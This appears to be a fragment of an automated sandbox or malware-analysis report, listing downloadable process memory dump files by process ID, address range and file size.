memory/60-45-0x0000000007AD0000-0x0000000007AD8000-memory.dmp

Filesize
32KB

Download
memory/60-17-0x0000000005F40000-0x0000000006294000-memory.dmp

Filesize
3.3MB

Download
memory/60-18-0x0000000006530000-0x000000000654E000-memory.dmp

Filesize
120KB

Download
memory/60-7-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/60-5-0x0000000005550000-0x0000000005572000-memory.dmp

Filesize
136KB

Download
memory/60-58-0x0000000007AD0000-0x0000000007AD8000-memory.dmp

Filesize
32KB

Download
memory/60-4-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-64-0x00000000709EE000-0x00000000709EF000-memory.dmp

Filesize
4KB

Download
memory/60-65-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-66-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-67-0x0000000007D90000-0x0000000007DB2000-memory.dmp

Filesize
136KB

Download
memory/60-68-0x0000000008B40000-0x00000000090E4000-memory.dmp

Filesize
5.6MB

Download
memory/60-3-0x0000000005650000-0x0000000005C78000-memory.dmp

Filesize
6.2MB

Download
memory/60-74-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-2-0x00000000709E0000-0x0000000071190000-memory.dmp

Filesize
7.7MB

Download
memory/60-1-0x0000000002F60000-0x0000000002F96000-memory.dmp

Filesize
216KB

Download
memory/3316-90-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/3404-99-0x0000000007F60000-0x0000000008015000-memory.dmp

Filesize
724KB

Download
memory/3872-93-0x0000000000020000-0x000000000003F000-memory.dmp

Filesize
124KB

Download
memory/3872-94-0x0000000000020000-0x000000000003F000-memory.dmp

Filesize
124KB

Download
memory/3872-95-0x00000000004A0000-0x00000000004CF000-memory.dmp

Filesize
188KB

Download
memory/4456-85-0x0000000005AD0000-0x0000000005E24000-memory.dmp

Filesize
3.3MB

Download
memory/4456-87-0x0000000004E90000-0x0000000004EA2000-memory.dmp

Filesize
72KB

Download
memory/4456-88-0x00000000076A0000-0x000000000773C000-memory.dmp

Filesize
624KB

Download
memory/4456-89-0x0000000004E60000-0x0000000004E66000-memory.dmp

Filesize
24KB

Download